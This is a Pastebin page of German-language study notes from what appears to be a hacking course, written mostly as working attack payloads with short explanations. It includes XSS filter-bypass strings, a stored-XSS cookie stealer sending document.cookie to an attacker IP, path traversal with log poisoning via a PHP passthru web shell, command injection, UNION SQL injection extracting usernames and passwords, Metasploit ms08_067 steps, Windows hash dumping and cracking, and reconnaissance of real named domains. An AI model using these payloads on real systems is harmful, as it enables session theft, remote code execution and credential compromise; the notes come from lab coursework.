Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Test 3 Lösung: <body onload="alert(1)"> hmtl entities wird hier mit dem Filter ENT_Quotes verwendet, der
- alle Einfachen und Doppeten Anführungszeichen filtert
- Test8 url/?input=%20data%3Atext%2H
- Test9 bodyonload - Diesen Tag kennt er nicht, ich muss wieder ein Leerzeichen reinbekommen
- %20 = Leerzeichen, + ist in der URL ein Leerzeichen
- %2520 - wenn das deer Server einmal decodiert dann habe ich nur mehr %20 und wenn das die URL decodiert dann habe ich ein Leerzeichen
- Was wenn %20 nicht funzt also akzeptiert wird? einfach / verwenden - Browser akzeptiet an manchen Stellen das / als Leerzeichen
- Es muss von der URL Zeile in den Browser dekodiert werden
- Test10 bei onload fehlt ein = und die STerne fehlen auch
- Lösung - Doppelt Codieren - %25 vor 3D, der Stern ist 2A
- %25 - Doppelt URL Codiert
- Test 11 - Löscht mir einen r raus. Auch wenn ich es 2 mal codiere. Es gibt eine andere Codierung Variante - Unicode Codierung in Javascript geht nur in JS
- \u0072 - das ist dann mein r. die codierung ersetze ich für mein r in alert - =\u0072t
- Test 12 - Nicht umgehbar auf target12.gy - in der VM aber schon, weil die Seite eine neue php Version verwendet
- Hier habe ich html entity decode - das wird decodiert - wenn ich ein a als html entity schicke wird es als normales a decodiert
- special chars - alle Sytanx Elemente werden html entity codiert
- Er filtert % und Backslash, wenn diese Input vorkommt wird der Input gelöscht
- Special Chars erwartet einen gewissen zeichensatz UTF-8, alles andere wird gelöscht
- Wir könnten ein Umlaut eingeben und würden damit den Filter kaputt machen
- Ich gebe dass Umlaut am Anfang vom html tag rein - einfach ö eingeben- damit das ö mein Skript nicht kaputt macht
- Der letzte Test funzt bei allen
- Test2 - ">< - Um aus dem a Tag auszubrechen und dann mein alert - "><body onload="alert(1)">
- Meine Lösung funzt auch weil es ein alter Browser ist: "<body onload="alert(1)">
- SOurce Code sieht dann so aus: <a href=""><body onload="alert(1)">">test2</a><br />
- Test3 - javascript:alert(1) - Es werden zwar die HTML Entities gefiltert, jedoch kann ich mit javascript: trotzdem
- meinen Befehl ausführen, da hier nicht geprüft wird ob davor ein http steht und nicht überprüft ob da ein valider Link steht
- Übungszettel
- 1) Zuhause versuchen da kein Net. nslookup - Website gehört Franz Leitner
- andere domains die auf glcihe IP Zeigen - dig www.hagenberg.at -cname: riskommunal.net
- whois riskommunal.net - damals nameserver: ns1.rts.at
- reverslookup dig -x 212.52.192.73 atNS1.RIS.AT - da kommen verschiedene Domains raus - zB web74.rismed.at
- wenn ich dann für jeden Eintrag abfrage host web74.rismed.at und schaue ob die IP stimmt.
- Oft stimmt nämlich nicht was ich abfrage
- whois hagenberg.ar funzt nicht weil ich bei whois nach dem Besitzer der Hauptdomain frage und hagenberg ist nur eine
- subdomain
- Letzte Aufgabe: Welche Domains gibt es noch auf der IP
- host www.hagenberg.at - Die IP gebe ich auf der Seite robtex.com ein - DOnwload Report here - Eine csv Datei und
- die zeigt mir was noch über die IP läuft - funzt über ein Virutal Hosting System, und somit können mehrere Websites
- hosten.
- Manche Telekom Server sind noch für Heartbleed anfällig
- Banner Grabing
- ncat ip-adress - dann GET / HHTP/1.0
- oder nmap -O ip-adress
- Mit winrtgn erstelle ich meine Rainbow Table
- Dann Rainbow Crack öffnen, Table auswählen und hash eingeben
- Über pwdump kann ich die Hasehs meines Windossystem ausgeben lassen und diese dann wieder
- über Rainbowcrack knacken
- LM Hashes = Passwörter werden in Windows oft geteilt und jeweils mit DES verschlüsselt und ein LM Hash über den einen Teil
- und der Hash über den anderen Teil berechnet und einfach zusammenfegügt. Also brauch ich nur den ersten Teil
- über die Rainbowtable geknackt und der zweite dann wenn das PW länger ist als 7.
- project-rainbowcrack.com - Verschiedene Hashtables für veschiedene Hashes zB LN oder NTLM
- Metasploit: Exploits - windows - more - smb - shell - bindtcp - ms08_067_netapi - Target IP Adresse eingeben
- Übung 6 URL Encdoding:
- Proxy im Firefox manuell konfigurieren, Port merken, Im Burp Auf Proxy und Options und meinen localhost editieren
- und den Port von Firefox verwenden, dann auf Intercept und die Requests abfangen und forwarden
- in Der HTTP History rechts Klich auf einen der Requests und auf send auf Repeater
- Lösung für GET: GET /params/params.php?var1=abc%2Bdef&var2=abc%26def&var3=abc?def HTTP/1.1
- Gesamte Lösung für alle 3 Fälle:
- POST /params/params.php?var1=abc%2Bdef&var2=abc%26def&var3=abc?def HTTP/1.1
- Host: localhost
- Content-Type: application/x-www-form-urlencoded
- User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
- Accept-Encoding: gzip,deflate
- Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
- Keep-Alive: 300
- Referer: http://localhost/params/
- Connection: close
- Cookie: var1=abc%2Bdef; var2=abc%26def; var3=abc?def
- Content-Length: 42
- var1=abc%2Bdef&var2=abc%26def&var3=abc?def
- -- Ich kann im Post Request dennoch in meinem Header die GET Parameter mitschicken, und für den Body mache ich
- genau 2 Zeilenumbrüche und dann gebe ich meine Werte für den Post mit
- Das ? muss ich nicht codieren da es im Request bereits einmal vorkommt und es ohnehin nur einmal vorkommen kann
- Übung 7
- Ich hinterlasse auf einem Server die Nachricht mit dem JS Code:
- Fucker
- <script>var cook=document.cookie;
- document.write("<img src=\"http://10.29.19.59/xss?cook="+cook+"\">");</script>
- und wenn der User Admin die Nachricht liest schickt er mir automatisch seinen Cookie an meine Adresse
- Dies kann ich dann im Apache access.log auslesen
- oder:
- <img src="irgendeinscheiß" onerror("src='http://10.29.19.59/xss/logo.gif?'+document.cookie")>
- -- Ich kann hier als Foto Source irgendeinen Pfad eingeben, diesern wird der Browser nicht finden und
- mit der onerror Funktion definiere ich wo er das Bild nachladn kann und gib meine Adresse an
- zusätzlich sage ich logo.gif, dass beim Opfer dann ein Bild angezeigt wird und der Angriff noch unaufälliger
- wirkt
- Übung 8
- http://localhost/finc/index.php?cat=/../../../../boot.ini%00
- Ich kann durch Path Traversal checken ob ich die boot.ini finde, %00 damit ich ihm sage dass nach ini
- abgeschnitten wird
- Command Execution siehe Seite 43
- Ich kann den GET Request manuell nicht eingeben weil der Browser keine Leerzeichen mitnimmt
- Deswegen mache ich den Request mit burp
- Im Burp brauche ich nichts a nderes schicken als einen Request indem "<? passthru($_GET['cmd']) ?>" steht und sonst nichts
- dann finde ich im access.log den Code
- Ich mache dann Path Traversal und gehe soweit rauf bis sowieso iwann im root bin und dann suche ich
- mir das log.file und führe den command aus
- http://localhost/finc/index.php?cat=/../../../../../../../xampp/apache/logs/access.log%00&cmd=dir
- Wenn ich mir dann den Seitenquelltext anzeigen lasse sehe ich am Ende schön meine cmd ausgabe
- ich kann auch andere Befehle ein
- Übung 9
- Wenn ich als Benutzername "# erzeugt er keinen Hash -> weil ich den Rest dadurch auskommentiere
- Mit Pipes kann ich 2 Befehle angeben zb dir || netstat, dann wird nestat nur ausgeführt wenn das dir
- kommando falsch wäre
- bei && führt er den zewiten Befehl aus wenn der erste korrekt war.
- mit "||dir# -> mit " breche ich aus den Bereich und ers wird dann dir ausgeführt, mein # kommentiert wieder den
- Rest aus.
- Im Passwort feld müsste ich folgendes eingeben: "&&dir #
- Übung 10
- Im Search eingeben
- ' -- x
- ' order by 5 -- x -- Jetzt durchprobieren, bei 7 wird nicht angezeit, bei 6 schon noch also gibt es 6 Spalten
- ' union select 1,2,3,4,5,6 -- x Jetzt werden mir alles Spalten angezeigt
- Wenn ich eine bestimmte Spalter auslesen will dann sage ich statt dem 3 einfach 'username'
- ' union select 1,2,username,4,5,6 from users -- x
- ' union select 1,2,username,password,5,6 from users -- x
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement